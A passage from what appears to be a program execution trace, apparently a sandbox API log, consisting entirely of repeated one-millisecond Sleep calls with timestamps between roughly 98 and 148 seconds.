(dwMilliseconds=0x1) [0098.625] Sleep (dwMilliseconds=0x1) [0098.646] Sleep (dwMilliseconds=0x1) [0098.659] Sleep (dwMilliseconds=0x1) [0098.674] Sleep (dwMilliseconds=0x1) [0098.695] Sleep (dwMilliseconds=0x1) [0098.711] Sleep (dwMilliseconds=0x1) [0098.727] Sleep (dwMilliseconds=0x1) [0098.757] Sleep (dwMilliseconds=0x1) [0098.797] Sleep (dwMilliseconds=0x1) [0098.798] Sleep (dwMilliseconds=0x1) [0098.814] Sleep (dwMilliseconds=0x1) [0098.833] Sleep (dwMilliseconds=0x1) [0098.848] Sleep (dwMilliseconds=0x1) [0098.872] Sleep (dwMilliseconds=0x1) [0098.873] Sleep (dwMilliseconds=0x1) [0098.890] Sleep (dwMilliseconds=0x1) [0098.906] Sleep (dwMilliseconds=0x1) [0098.920] Sleep (dwMilliseconds=0x1) [0098.937] Sleep (dwMilliseconds=0x1) [0098.954] Sleep (dwMilliseconds=0x1) [0098.976] Sleep (dwMilliseconds=0x1) [0098.993] Sleep (dwMilliseconds=0x1) [0099.009] Sleep (dwMilliseconds=0x1) [0099.030] Sleep (dwMilliseconds=0x1) [0099.046] Sleep (dwMilliseconds=0x1) [0099.060] Sleep (dwMilliseconds=0x1) [0099.101] Sleep (dwMilliseconds=0x1) [0099.107] Sleep (dwMilliseconds=0x1) [0099.124] Sleep (dwMilliseconds=0x1) [0099.139] Sleep (dwMilliseconds=0x1) [0099.159] Sleep (dwMilliseconds=0x1) [0099.194] Sleep (dwMilliseconds=0x1) [0099.257] Sleep (dwMilliseconds=0x1) [0099.266] Sleep (dwMilliseconds=0x1) [0099.291] Sleep (dwMilliseconds=0x1) [0099.331] Sleep (dwMilliseconds=0x1) [0099.350] Sleep (dwMilliseconds=0x1) [0099.383] Sleep (dwMilliseconds=0x1) [0099.402] Sleep (dwMilliseconds=0x1) [0099.425] Sleep (dwMilliseconds=0x1) [0099.444] Sleep (dwMilliseconds=0x1) [0099.451] Sleep (dwMilliseconds=0x1) [0099.468] Sleep (dwMilliseconds=0x1) [0099.492] Sleep (dwMilliseconds=0x1) [0099.508] Sleep (dwMilliseconds=0x1) [0099.530] Sleep (dwMilliseconds=0x1) [0099.553] Sleep (dwMilliseconds=0x1) [0099.563] Sleep (dwMilliseconds=0x1) [0099.587] Sleep (dwMilliseconds=0x1) [0100.970] Sleep (dwMilliseconds=0x1) [0100.981] Sleep (dwMilliseconds=0x1) [0101.002] Sleep (dwMilliseconds=0x1) [0101.014] Sleep (dwMilliseconds=0x1) [0101.028] Sleep (dwMilliseconds=0x1) [0101.043] Sleep (dwMilliseconds=0x1) [0101.057] Sleep (dwMilliseconds=0x1) [0101.083] Sleep (dwMilliseconds=0x1) [0101.089] Sleep (dwMilliseconds=0x1) [0101.104] Sleep (dwMilliseconds=0x1) [0101.119] Sleep (dwMilliseconds=0x1) [0101.137] Sleep (dwMilliseconds=0x1) [0101.151] Sleep (dwMilliseconds=0x1) [0101.180] Sleep (dwMilliseconds=0x1) [0101.192] Sleep (dwMilliseconds=0x1) [0101.200] Sleep (dwMilliseconds=0x1) [0101.214] Sleep (dwMilliseconds=0x1) [0101.231] Sleep (dwMilliseconds=0x1) [0101.244] Sleep (dwMilliseconds=0x1) [0101.282] Sleep (dwMilliseconds=0x1) [0101.306] Sleep (dwMilliseconds=0x1) [0101.306] Sleep (dwMilliseconds=0x1) [0101.327] Sleep (dwMilliseconds=0x1) [0101.342] Sleep (dwMilliseconds=0x1) [0101.368] Sleep (dwMilliseconds=0x1) [0101.369] Sleep (dwMilliseconds=0x1) [0101.388] Sleep (dwMilliseconds=0x1) [0101.410] Sleep (dwMilliseconds=0x1) [0101.416] Sleep (dwMilliseconds=0x1) [0101.433] Sleep (dwMilliseconds=0x1) [0101.453] Sleep (dwMilliseconds=0x1) [0101.463] Sleep (dwMilliseconds=0x1) [0104.932] Sleep (dwMilliseconds=0x1) [0104.972] Sleep (dwMilliseconds=0x1) [0106.849] Sleep (dwMilliseconds=0x1) [0106.918] Sleep (dwMilliseconds=0x1) [0106.924] Sleep (dwMilliseconds=0x1) [0107.327] Sleep (dwMilliseconds=0x1) [0107.399] Sleep (dwMilliseconds=0x1) [0107.460] Sleep (dwMilliseconds=0x1) [0107.506] Sleep (dwMilliseconds=0x1) [0107.523] Sleep (dwMilliseconds=0x1) [0107.532] Sleep (dwMilliseconds=0x1) [0107.553] Sleep (dwMilliseconds=0x1) [0107.568] Sleep (dwMilliseconds=0x1) [0107.589] Sleep (dwMilliseconds=0x1) [0107.593] Sleep (dwMilliseconds=0x1) [0107.611] Sleep (dwMilliseconds=0x1) [0107.624] Sleep (dwMilliseconds=0x1) [0107.693] Sleep (dwMilliseconds=0x1) [0107.703] Sleep (dwMilliseconds=0x1) [0108.826] Sleep (dwMilliseconds=0x1) [0108.888] Sleep (dwMilliseconds=0x1) [0108.920] Sleep (dwMilliseconds=0x1) [0108.937] Sleep (dwMilliseconds=0x1) [0108.956] Sleep (dwMilliseconds=0x1) [0108.972] Sleep (dwMilliseconds=0x1) [0108.982] Sleep (dwMilliseconds=0x1) [0109.008] Sleep (dwMilliseconds=0x1) [0109.025] Sleep (dwMilliseconds=0x1) [0109.030] Sleep (dwMilliseconds=0x1) [0109.063] Sleep (dwMilliseconds=0x1) [0109.076] Sleep (dwMilliseconds=0x1) [0109.091] Sleep (dwMilliseconds=0x1) [0109.109] Sleep (dwMilliseconds=0x1) [0109.122] Sleep (dwMilliseconds=0x1) [0109.147] Sleep (dwMilliseconds=0x1) [0109.153] Sleep (dwMilliseconds=0x1) [0109.178] Sleep (dwMilliseconds=0x1) [0109.193] Sleep (dwMilliseconds=0x1) [0109.343] Sleep (dwMilliseconds=0x1) [0109.382] Sleep (dwMilliseconds=0x1) [0109.389] Sleep (dwMilliseconds=0x1) [0109.422] Sleep (dwMilliseconds=0x1) [0109.435] Sleep (dwMilliseconds=0x1) [0109.450] Sleep (dwMilliseconds=0x1) [0109.469] Sleep (dwMilliseconds=0x1) [0109.485] Sleep (dwMilliseconds=0x1) [0109.499] Sleep (dwMilliseconds=0x1) [0109.518] Sleep (dwMilliseconds=0x1) [0109.529] Sleep (dwMilliseconds=0x1) [0109.547] Sleep (dwMilliseconds=0x1) [0109.562] Sleep (dwMilliseconds=0x1) [0109.578] Sleep (dwMilliseconds=0x1) [0109.604] Sleep (dwMilliseconds=0x1) [0109.609] Sleep (dwMilliseconds=0x1) [0109.623] Sleep (dwMilliseconds=0x1) [0109.637] Sleep (dwMilliseconds=0x1) [0109.656] Sleep (dwMilliseconds=0x1) [0109.683] Sleep (dwMilliseconds=0x1) [0109.705] Sleep (dwMilliseconds=0x1) [0109.717] Sleep (dwMilliseconds=0x1) [0109.736] Sleep (dwMilliseconds=0x1) [0109.747] Sleep (dwMilliseconds=0x1) [0109.793] Sleep (dwMilliseconds=0x1) [0109.809] Sleep (dwMilliseconds=0x1) [0109.828] Sleep (dwMilliseconds=0x1) [0109.865] Sleep (dwMilliseconds=0x1) [0109.871] Sleep (dwMilliseconds=0x1) [0109.892] Sleep (dwMilliseconds=0x1) [0109.916] Sleep (dwMilliseconds=0x1) [0109.930] Sleep (dwMilliseconds=0x1) [0109.939] Sleep (dwMilliseconds=0x1) [0109.959] Sleep (dwMilliseconds=0x1) [0109.974] Sleep (dwMilliseconds=0x1) [0109.988] Sleep (dwMilliseconds=0x1) [0110.002] Sleep (dwMilliseconds=0x1) [0110.016] Sleep (dwMilliseconds=0x1) [0110.028] Sleep (dwMilliseconds=0x1) [0110.047] Sleep (dwMilliseconds=0x1) [0110.063] Sleep (dwMilliseconds=0x1) [0110.077] Sleep (dwMilliseconds=0x1) [0110.099] Sleep (dwMilliseconds=0x1) [0110.116] Sleep (dwMilliseconds=0x1) [0110.128] Sleep (dwMilliseconds=0x1) [0110.144] Sleep (dwMilliseconds=0x1) [0110.154] Sleep (dwMilliseconds=0x1) [0110.168] Sleep (dwMilliseconds=0x1) [0110.185] Sleep (dwMilliseconds=0x1) [0110.201] Sleep (dwMilliseconds=0x1) [0110.315] Sleep (dwMilliseconds=0x1) [0110.324] Sleep (dwMilliseconds=0x1) [0110.343] Sleep (dwMilliseconds=0x1) [0110.356] Sleep (dwMilliseconds=0x1) [0110.376] Sleep (dwMilliseconds=0x1) [0110.396] Sleep (dwMilliseconds=0x1) [0110.425] Sleep (dwMilliseconds=0x1) [0110.437] Sleep (dwMilliseconds=0x1) [0110.462] Sleep (dwMilliseconds=0x1) [0110.500] Sleep (dwMilliseconds=0x1) [0110.531] Sleep (dwMilliseconds=0x1) [0110.591] Sleep (dwMilliseconds=0x1) [0110.658] Sleep (dwMilliseconds=0x1) [0110.688] Sleep (dwMilliseconds=0x1) [0120.596] Sleep (dwMilliseconds=0x1) [0120.603] Sleep (dwMilliseconds=0x1) [0120.619] Sleep (dwMilliseconds=0x1) [0120.635] Sleep (dwMilliseconds=0x1) [0120.653] Sleep (dwMilliseconds=0x1) [0120.668] Sleep (dwMilliseconds=0x1) [0120.682] Sleep (dwMilliseconds=0x1) [0120.709] Sleep (dwMilliseconds=0x1) [0120.720] Sleep (dwMilliseconds=0x1) [0120.729] Sleep (dwMilliseconds=0x1) [0120.745] Sleep (dwMilliseconds=0x1) [0120.761] Sleep (dwMilliseconds=0x1) [0120.930] Sleep (dwMilliseconds=0x1) [0120.942] Sleep (dwMilliseconds=0x1) [0120.949] Sleep (dwMilliseconds=0x1) [0120.963] Sleep (dwMilliseconds=0x1) [0120.990] Sleep (dwMilliseconds=0x1) [0120.995] Sleep (dwMilliseconds=0x1) [0121.010] Sleep (dwMilliseconds=0x1) [0121.027] Sleep (dwMilliseconds=0x1) [0121.059] Sleep (dwMilliseconds=0x1) [0121.073] Sleep (dwMilliseconds=0x1) [0121.548] Sleep (dwMilliseconds=0x1) [0124.038] Sleep (dwMilliseconds=0x1) [0124.210] Sleep (dwMilliseconds=0x1) [0124.244] Sleep (dwMilliseconds=0x1) [0124.257] Sleep (dwMilliseconds=0x1) [0124.283] Sleep (dwMilliseconds=0x1) [0124.293] Sleep (dwMilliseconds=0x1) [0125.051] Sleep (dwMilliseconds=0x1) [0125.072] Sleep (dwMilliseconds=0x1) [0125.092] Sleep (dwMilliseconds=0x1) [0125.099] Sleep (dwMilliseconds=0x1) [0125.123] Sleep (dwMilliseconds=0x1) [0125.149] Sleep (dwMilliseconds=0x1) [0125.161] Sleep (dwMilliseconds=0x1) [0125.196] Sleep (dwMilliseconds=0x1) [0125.214] Sleep (dwMilliseconds=0x1) [0125.235] Sleep (dwMilliseconds=0x1) [0125.266] Sleep (dwMilliseconds=0x1) [0125.277] Sleep (dwMilliseconds=0x1) [0125.452] Sleep (dwMilliseconds=0x1) [0125.466] Sleep (dwMilliseconds=0x1) [0125.474] Sleep (dwMilliseconds=0x1) [0125.496] Sleep (dwMilliseconds=0x1) [0125.554] Sleep (dwMilliseconds=0x1) [0125.593] Sleep (dwMilliseconds=0x1) [0125.600] Sleep (dwMilliseconds=0x1) [0125.624] Sleep (dwMilliseconds=0x1) [0125.692] Sleep (dwMilliseconds=0x1) [0125.729] Sleep (dwMilliseconds=0x1) [0125.736] Sleep (dwMilliseconds=0x1) [0125.755] Sleep (dwMilliseconds=0x1) [0125.789] Sleep (dwMilliseconds=0x1) [0125.864] Sleep (dwMilliseconds=0x1) [0125.877] Sleep (dwMilliseconds=0x1) [0125.897] Sleep (dwMilliseconds=0x1) [0125.955] Sleep (dwMilliseconds=0x1) [0125.981] Sleep (dwMilliseconds=0x1) [0125.985] Sleep (dwMilliseconds=0x1) [0126.009] Sleep (dwMilliseconds=0x1) [0126.067] Sleep (dwMilliseconds=0x1) [0126.092] Sleep (dwMilliseconds=0x1) [0126.163] Sleep (dwMilliseconds=0x1) [0126.175] Sleep (dwMilliseconds=0x1) [0126.219] Sleep (dwMilliseconds=0x1) [0126.236] Sleep (dwMilliseconds=0x1) [0126.367] Sleep (dwMilliseconds=0x1) [0126.380] Sleep (dwMilliseconds=0x1) [0126.399] Sleep (dwMilliseconds=0x1) [0126.408] Sleep (dwMilliseconds=0x1) [0127.971] Sleep (dwMilliseconds=0x1) [0128.014] Sleep (dwMilliseconds=0x1) [0128.035] Sleep (dwMilliseconds=0x1) [0128.047] Sleep (dwMilliseconds=0x1) [0128.061] Sleep (dwMilliseconds=0x1) [0128.076] Sleep (dwMilliseconds=0x1) [0128.106] Sleep (dwMilliseconds=0x1) [0128.107] Sleep (dwMilliseconds=0x1) [0128.123] Sleep (dwMilliseconds=0x1) [0128.139] Sleep (dwMilliseconds=0x1) [0128.158] Sleep (dwMilliseconds=0x1) [0128.173] Sleep (dwMilliseconds=0x1) [0128.207] Sleep (dwMilliseconds=0x1) [0128.224] Sleep (dwMilliseconds=0x1) [0128.233] Sleep (dwMilliseconds=0x1) [0128.275] Sleep (dwMilliseconds=0x1) [0128.290] Sleep (dwMilliseconds=0x1) [0128.309] Sleep (dwMilliseconds=0x1) [0128.310] Sleep (dwMilliseconds=0x1) [0128.330] Sleep (dwMilliseconds=0x1) [0128.344] Sleep (dwMilliseconds=0x1) [0128.361] Sleep (dwMilliseconds=0x1) [0128.373] Sleep (dwMilliseconds=0x1) [0128.415] Sleep (dwMilliseconds=0x1) [0128.432] Sleep (dwMilliseconds=0x1) [0128.719] Sleep (dwMilliseconds=0x1) [0128.733] Sleep (dwMilliseconds=0x1) [0128.749] Sleep (dwMilliseconds=0x1) [0128.768] Sleep (dwMilliseconds=0x1) [0128.792] Sleep (dwMilliseconds=0x1) [0128.794] Sleep (dwMilliseconds=0x1) [0128.813] Sleep (dwMilliseconds=0x1) [0128.826] Sleep (dwMilliseconds=0x1) [0128.840] Sleep (dwMilliseconds=0x1) [0128.864] Sleep (dwMilliseconds=0x1) [0128.872] Sleep (dwMilliseconds=0x1) [0128.887] Sleep (dwMilliseconds=0x1) [0128.903] Sleep (dwMilliseconds=0x1) [0128.919] Sleep (dwMilliseconds=0x1) [0128.934] Sleep (dwMilliseconds=0x1) [0128.956] Sleep (dwMilliseconds=0x1) [0128.965] Sleep (dwMilliseconds=0x1) [0128.981] Sleep (dwMilliseconds=0x1) [0128.996] Sleep (dwMilliseconds=0x1) [0129.016] Sleep (dwMilliseconds=0x1) [0129.071] Sleep (dwMilliseconds=0x1) [0129.074] Sleep (dwMilliseconds=0x1) [0129.093] Sleep (dwMilliseconds=0x1) [0129.113] Sleep (dwMilliseconds=0x1) [0129.144] Sleep (dwMilliseconds=0x1) [0129.168] Sleep (dwMilliseconds=0x1) [0130.307] Sleep (dwMilliseconds=0x1) [0136.482] Sleep (dwMilliseconds=0x1) [0136.484] Sleep (dwMilliseconds=0x1) [0136.502] Sleep (dwMilliseconds=0x1) [0136.516] Sleep (dwMilliseconds=0x1) [0136.531] Sleep (dwMilliseconds=0x1) [0136.547] Sleep (dwMilliseconds=0x1) [0136.562] Sleep (dwMilliseconds=0x1) [0136.578] Sleep (dwMilliseconds=0x1) [0136.594] Sleep (dwMilliseconds=0x1) [0136.609] Sleep (dwMilliseconds=0x1) [0136.625] Sleep (dwMilliseconds=0x1) [0136.640] Sleep (dwMilliseconds=0x1) [0136.656] Sleep (dwMilliseconds=0x1) [0136.671] Sleep (dwMilliseconds=0x1) [0136.687] Sleep (dwMilliseconds=0x1) [0136.703] Sleep (dwMilliseconds=0x1) [0136.718] Sleep (dwMilliseconds=0x1) [0136.734] Sleep (dwMilliseconds=0x1) [0136.750] Sleep (dwMilliseconds=0x1) [0136.765] Sleep (dwMilliseconds=0x1) [0136.781] Sleep (dwMilliseconds=0x1) [0136.796] Sleep (dwMilliseconds=0x1) [0136.812] Sleep (dwMilliseconds=0x1) [0136.835] Sleep (dwMilliseconds=0x1) [0136.844] Sleep (dwMilliseconds=0x1) [0136.863] Sleep (dwMilliseconds=0x1) [0136.874] Sleep (dwMilliseconds=0x1) [0136.891] Sleep (dwMilliseconds=0x1) [0136.906] Sleep (dwMilliseconds=0x1) [0136.922] Sleep (dwMilliseconds=0x1) [0136.937] Sleep (dwMilliseconds=0x1) [0136.953] Sleep (dwMilliseconds=0x1) [0136.968] Sleep (dwMilliseconds=0x1) [0136.984] Sleep (dwMilliseconds=0x1) [0137.011] Sleep (dwMilliseconds=0x1) [0137.015] Sleep (dwMilliseconds=0x1) [0137.030] Sleep (dwMilliseconds=0x1) [0137.046] Sleep (dwMilliseconds=0x1) [0137.065] Sleep (dwMilliseconds=0x1) [0137.077] Sleep (dwMilliseconds=0x1) [0137.093] Sleep (dwMilliseconds=0x1) [0137.108] Sleep (dwMilliseconds=0x1) [0137.124] Sleep (dwMilliseconds=0x1) [0137.140] Sleep (dwMilliseconds=0x1) [0137.155] Sleep (dwMilliseconds=0x1) [0137.171] Sleep (dwMilliseconds=0x1) [0137.187] Sleep (dwMilliseconds=0x1) [0137.202] Sleep (dwMilliseconds=0x1) [0137.218] Sleep (dwMilliseconds=0x1) [0137.233] Sleep (dwMilliseconds=0x1) [0137.249] Sleep (dwMilliseconds=0x1) [0137.265] Sleep (dwMilliseconds=0x1) [0137.280] Sleep (dwMilliseconds=0x1) [0137.295] Sleep (dwMilliseconds=0x1) [0137.311] Sleep (dwMilliseconds=0x1) [0137.327] Sleep (dwMilliseconds=0x1) [0137.342] Sleep (dwMilliseconds=0x1) [0137.358] Sleep (dwMilliseconds=0x1) [0137.373] Sleep (dwMilliseconds=0x1) [0137.390] Sleep (dwMilliseconds=0x1) [0137.405] Sleep (dwMilliseconds=0x1) [0137.420] Sleep (dwMilliseconds=0x1) [0137.436] Sleep (dwMilliseconds=0x1) [0137.467] Sleep (dwMilliseconds=0x1) [0137.483] Sleep (dwMilliseconds=0x1) [0137.498] Sleep (dwMilliseconds=0x1) [0137.514] Sleep (dwMilliseconds=0x1) [0137.530] Sleep (dwMilliseconds=0x1) [0137.550] Sleep (dwMilliseconds=0x1) [0137.561] Sleep (dwMilliseconds=0x1) [0137.579] Sleep (dwMilliseconds=0x1) [0137.592] Sleep (dwMilliseconds=0x1) [0137.609] Sleep (dwMilliseconds=0x1) [0137.623] Sleep (dwMilliseconds=0x1) [0137.640] Sleep (dwMilliseconds=0x1) [0137.661] Sleep (dwMilliseconds=0x1) [0137.670] Sleep (dwMilliseconds=0x1) [0137.685] Sleep (dwMilliseconds=0x1) [0137.701] Sleep (dwMilliseconds=0x1) [0137.717] Sleep (dwMilliseconds=0x1) [0137.732] Sleep (dwMilliseconds=0x1) [0137.748] Sleep (dwMilliseconds=0x1) [0137.764] Sleep (dwMilliseconds=0x1) [0137.779] Sleep (dwMilliseconds=0x1) [0137.797] Sleep (dwMilliseconds=0x1) [0137.811] Sleep (dwMilliseconds=0x1) [0137.826] Sleep (dwMilliseconds=0x1) [0137.842] Sleep (dwMilliseconds=0x1) [0137.857] Sleep (dwMilliseconds=0x1) [0137.873] Sleep (dwMilliseconds=0x1) [0137.888] Sleep (dwMilliseconds=0x1) [0137.904] Sleep (dwMilliseconds=0x1) [0137.920] Sleep (dwMilliseconds=0x1) [0137.935] Sleep (dwMilliseconds=0x1) [0137.951] Sleep (dwMilliseconds=0x1) [0137.966] Sleep (dwMilliseconds=0x1) [0137.982] Sleep (dwMilliseconds=0x1) [0138.011] Sleep (dwMilliseconds=0x1) [0138.013] Sleep (dwMilliseconds=0x1) [0138.029] Sleep (dwMilliseconds=0x1) [0138.045] Sleep (dwMilliseconds=0x1) [0138.060] Sleep (dwMilliseconds=0x1) [0138.075] Sleep (dwMilliseconds=0x1) [0138.091] Sleep (dwMilliseconds=0x1) [0138.107] Sleep (dwMilliseconds=0x1) [0138.122] Sleep (dwMilliseconds=0x1) [0138.138] Sleep (dwMilliseconds=0x1) [0138.154] Sleep (dwMilliseconds=0x1) [0138.169] Sleep (dwMilliseconds=0x1) [0138.185] Sleep (dwMilliseconds=0x1) [0138.200] Sleep (dwMilliseconds=0x1) [0138.216] Sleep (dwMilliseconds=0x1) [0138.232] Sleep (dwMilliseconds=0x1) [0138.247] Sleep (dwMilliseconds=0x1) [0138.263] Sleep (dwMilliseconds=0x1) [0138.278] Sleep (dwMilliseconds=0x1) [0138.294] Sleep (dwMilliseconds=0x1) [0138.310] Sleep (dwMilliseconds=0x1) [0138.325] Sleep (dwMilliseconds=0x1) [0138.341] Sleep (dwMilliseconds=0x1) [0138.357] Sleep (dwMilliseconds=0x1) [0138.372] Sleep (dwMilliseconds=0x1) [0138.388] Sleep (dwMilliseconds=0x1) [0138.404] Sleep (dwMilliseconds=0x1) [0138.419] Sleep (dwMilliseconds=0x1) [0138.434] Sleep (dwMilliseconds=0x1) [0138.464] Sleep (dwMilliseconds=0x1) [0138.477] Sleep (dwMilliseconds=0x1) [0138.481] Sleep (dwMilliseconds=0x1) [0138.497] Sleep (dwMilliseconds=0x1) [0138.512] Sleep (dwMilliseconds=0x1) [0138.528] Sleep (dwMilliseconds=0x1) [0138.549] Sleep (dwMilliseconds=0x1) [0138.560] Sleep (dwMilliseconds=0x1) [0138.575] Sleep (dwMilliseconds=0x1) [0138.590] Sleep (dwMilliseconds=0x1) [0138.606] Sleep (dwMilliseconds=0x1) [0138.622] Sleep (dwMilliseconds=0x1) [0138.637] Sleep (dwMilliseconds=0x1) [0138.653] Sleep (dwMilliseconds=0x1) [0138.669] Sleep (dwMilliseconds=0x1) [0138.684] Sleep (dwMilliseconds=0x1) [0138.700] Sleep (dwMilliseconds=0x1) [0138.716] Sleep (dwMilliseconds=0x1) [0138.732] Sleep (dwMilliseconds=0x1) [0138.746] Sleep (dwMilliseconds=0x1) [0138.762] Sleep (dwMilliseconds=0x1) [0138.777] Sleep (dwMilliseconds=0x1) [0138.793] Sleep (dwMilliseconds=0x1) [0138.809] Sleep (dwMilliseconds=0x1) [0138.825] Sleep (dwMilliseconds=0x1) [0138.840] Sleep (dwMilliseconds=0x1) [0138.856] Sleep (dwMilliseconds=0x1) [0138.871] Sleep (dwMilliseconds=0x1) [0138.887] Sleep (dwMilliseconds=0x1) [0138.902] Sleep (dwMilliseconds=0x1) [0138.918] Sleep (dwMilliseconds=0x1) [0138.933] Sleep (dwMilliseconds=0x1) [0138.949] Sleep (dwMilliseconds=0x1) [0138.965] Sleep (dwMilliseconds=0x1) [0138.980] Sleep (dwMilliseconds=0x1) [0138.996] Sleep (dwMilliseconds=0x1) [0139.023] Sleep (dwMilliseconds=0x1) [0139.027] Sleep (dwMilliseconds=0x1) [0139.043] Sleep (dwMilliseconds=0x1) [0139.061] Sleep (dwMilliseconds=0x1) [0139.074] Sleep (dwMilliseconds=0x1) [0139.090] Sleep (dwMilliseconds=0x1) [0139.106] Sleep (dwMilliseconds=0x1) [0139.121] Sleep (dwMilliseconds=0x1) [0139.137] Sleep (dwMilliseconds=0x1) [0139.152] Sleep (dwMilliseconds=0x1) [0139.167] Sleep (dwMilliseconds=0x1) [0139.183] Sleep (dwMilliseconds=0x1) [0139.199] Sleep (dwMilliseconds=0x1) [0139.214] Sleep (dwMilliseconds=0x1) [0139.230] Sleep (dwMilliseconds=0x1) [0139.246] Sleep (dwMilliseconds=0x1) [0139.261] Sleep (dwMilliseconds=0x1) [0139.277] Sleep (dwMilliseconds=0x1) [0139.292] Sleep (dwMilliseconds=0x1) [0139.308] Sleep (dwMilliseconds=0x1) [0139.325] Sleep (dwMilliseconds=0x1) [0139.339] Sleep (dwMilliseconds=0x1) [0139.370] Sleep (dwMilliseconds=0x1) [0139.370] Sleep (dwMilliseconds=0x1) [0139.386] Sleep (dwMilliseconds=0x1) [0139.402] Sleep (dwMilliseconds=0x1) [0139.417] Sleep (dwMilliseconds=0x1) [0139.435] Sleep (dwMilliseconds=0x1) [0139.462] Sleep (dwMilliseconds=0x1) [0139.482] Sleep (dwMilliseconds=0x1) [0139.501] Sleep (dwMilliseconds=0x1) [0139.511] Sleep (dwMilliseconds=0x1) [0139.540] Sleep (dwMilliseconds=0x1) [0139.543] Sleep (dwMilliseconds=0x1) [0139.558] Sleep (dwMilliseconds=0x1) [0139.573] Sleep (dwMilliseconds=0x1) [0139.589] Sleep (dwMilliseconds=0x1) [0139.604] Sleep (dwMilliseconds=0x1) [0139.620] Sleep (dwMilliseconds=0x1) [0139.636] Sleep (dwMilliseconds=0x1) [0139.652] Sleep (dwMilliseconds=0x1) [0139.667] Sleep (dwMilliseconds=0x1) [0139.682] Sleep (dwMilliseconds=0x1) [0139.698] Sleep (dwMilliseconds=0x1) [0139.714] Sleep (dwMilliseconds=0x1) [0139.729] Sleep (dwMilliseconds=0x1) [0139.745] Sleep (dwMilliseconds=0x1) [0139.760] Sleep (dwMilliseconds=0x1) [0139.776] Sleep (dwMilliseconds=0x1) [0139.792] Sleep (dwMilliseconds=0x1) [0139.807] Sleep (dwMilliseconds=0x1) [0139.825] Sleep (dwMilliseconds=0x1) [0139.838] Sleep (dwMilliseconds=0x1) [0139.854] Sleep (dwMilliseconds=0x1) [0139.870] Sleep (dwMilliseconds=0x1) [0139.887] Sleep (dwMilliseconds=0x1) [0139.901] Sleep (dwMilliseconds=0x1) [0139.921] Sleep (dwMilliseconds=0x1) [0139.932] Sleep (dwMilliseconds=0x1) [0139.948] Sleep (dwMilliseconds=0x1) [0139.963] Sleep (dwMilliseconds=0x1) [0139.979] Sleep (dwMilliseconds=0x1) [0139.996] Sleep (dwMilliseconds=0x1) [0140.022] Sleep (dwMilliseconds=0x1) [0140.026] Sleep (dwMilliseconds=0x1) [0140.041] Sleep (dwMilliseconds=0x1) [0140.061] Sleep (dwMilliseconds=0x1) [0140.072] Sleep (dwMilliseconds=0x1) [0140.088] Sleep (dwMilliseconds=0x1) [0140.103] Sleep (dwMilliseconds=0x1) [0140.119] Sleep (dwMilliseconds=0x1) [0140.135] Sleep (dwMilliseconds=0x1) [0140.150] Sleep (dwMilliseconds=0x1) [0140.166] Sleep (dwMilliseconds=0x1) [0140.182] Sleep (dwMilliseconds=0x1) [0140.197] Sleep (dwMilliseconds=0x1) [0140.215] Sleep (dwMilliseconds=0x1) [0140.228] Sleep (dwMilliseconds=0x1) [0140.245] Sleep (dwMilliseconds=0x1) [0140.259] Sleep (dwMilliseconds=0x1) [0140.278] Sleep (dwMilliseconds=0x1) [0140.291] Sleep (dwMilliseconds=0x1) [0140.306] Sleep (dwMilliseconds=0x1) [0140.322] Sleep (dwMilliseconds=0x1) [0140.337] Sleep (dwMilliseconds=0x1) [0140.353] Sleep (dwMilliseconds=0x1) [0140.369] Sleep (dwMilliseconds=0x1) [0140.384] Sleep (dwMilliseconds=0x1) [0140.400] Sleep (dwMilliseconds=0x1) [0140.415] Sleep (dwMilliseconds=0x1) [0140.431] Sleep (dwMilliseconds=0x1) [0140.461] Sleep (dwMilliseconds=0x1) [0140.462] Sleep (dwMilliseconds=0x1) [0140.478] Sleep (dwMilliseconds=0x1) [0140.494] Sleep (dwMilliseconds=0x1) [0140.509] Sleep (dwMilliseconds=0x1) [0140.525] Sleep (dwMilliseconds=0x1) [0140.540] Sleep (dwMilliseconds=0x1) [0140.556] Sleep (dwMilliseconds=0x1) [0140.579] Sleep (dwMilliseconds=0x1) [0140.594] Sleep (dwMilliseconds=0x1) [0140.603] Sleep (dwMilliseconds=0x1) [0140.621] Sleep (dwMilliseconds=0x1) [0140.634] Sleep (dwMilliseconds=0x1) [0140.650] Sleep (dwMilliseconds=0x1) [0140.666] Sleep (dwMilliseconds=0x1) [0140.682] Sleep (dwMilliseconds=0x1) [0140.696] Sleep (dwMilliseconds=0x1) [0140.712] Sleep (dwMilliseconds=0x1) [0140.728] Sleep (dwMilliseconds=0x1) [0140.743] Sleep (dwMilliseconds=0x1) [0140.759] Sleep (dwMilliseconds=0x1) [0140.774] Sleep (dwMilliseconds=0x1) [0140.790] Sleep (dwMilliseconds=0x1) [0140.805] Sleep (dwMilliseconds=0x1) [0140.821] Sleep (dwMilliseconds=0x1) [0140.837] Sleep (dwMilliseconds=0x1) [0140.853] Sleep (dwMilliseconds=0x1) [0140.869] Sleep (dwMilliseconds=0x1) [0140.889] Sleep (dwMilliseconds=0x1) [0140.899] Sleep (dwMilliseconds=0x1) [0140.915] Sleep (dwMilliseconds=0x1) [0140.930] Sleep (dwMilliseconds=0x1) [0140.946] Sleep (dwMilliseconds=0x1) [0140.961] Sleep (dwMilliseconds=0x1) [0140.977] Sleep (dwMilliseconds=0x1) [0140.993] Sleep (dwMilliseconds=0x1) [0141.008] Sleep (dwMilliseconds=0x1) [0141.026] Sleep (dwMilliseconds=0x1) [0141.040] Sleep (dwMilliseconds=0x1) [0141.055] Sleep (dwMilliseconds=0x1) [0141.071] Sleep (dwMilliseconds=0x1) [0141.086] Sleep (dwMilliseconds=0x1) [0141.104] Sleep (dwMilliseconds=0x1) [0141.118] Sleep (dwMilliseconds=0x1) [0141.133] Sleep (dwMilliseconds=0x1) [0141.149] Sleep (dwMilliseconds=0x1) [0141.164] Sleep (dwMilliseconds=0x1) [0141.180] Sleep (dwMilliseconds=0x1) [0141.196] Sleep (dwMilliseconds=0x1) [0141.211] Sleep (dwMilliseconds=0x1) [0141.227] Sleep (dwMilliseconds=0x1) [0141.242] Sleep (dwMilliseconds=0x1) [0141.259] Sleep (dwMilliseconds=0x1) [0141.274] Sleep (dwMilliseconds=0x1) [0141.289] Sleep (dwMilliseconds=0x1) [0141.305] Sleep (dwMilliseconds=0x1) [0141.324] Sleep (dwMilliseconds=0x1) [0141.336] Sleep (dwMilliseconds=0x1) [0141.358] Sleep (dwMilliseconds=0x1) [0148.456] Sleep (dwMilliseconds=0x1) [0148.523] Sleep (dwMilliseconds=0x1) [0148.528] Sleep (dwMilliseconds=0x1) [0148.543] Sleep (dwMilliseconds=0x1) [0148.567] Sleep (dwMilliseconds=0x1) [0148.596] Sleep (dwMilliseconds=0x1) [0148.624] 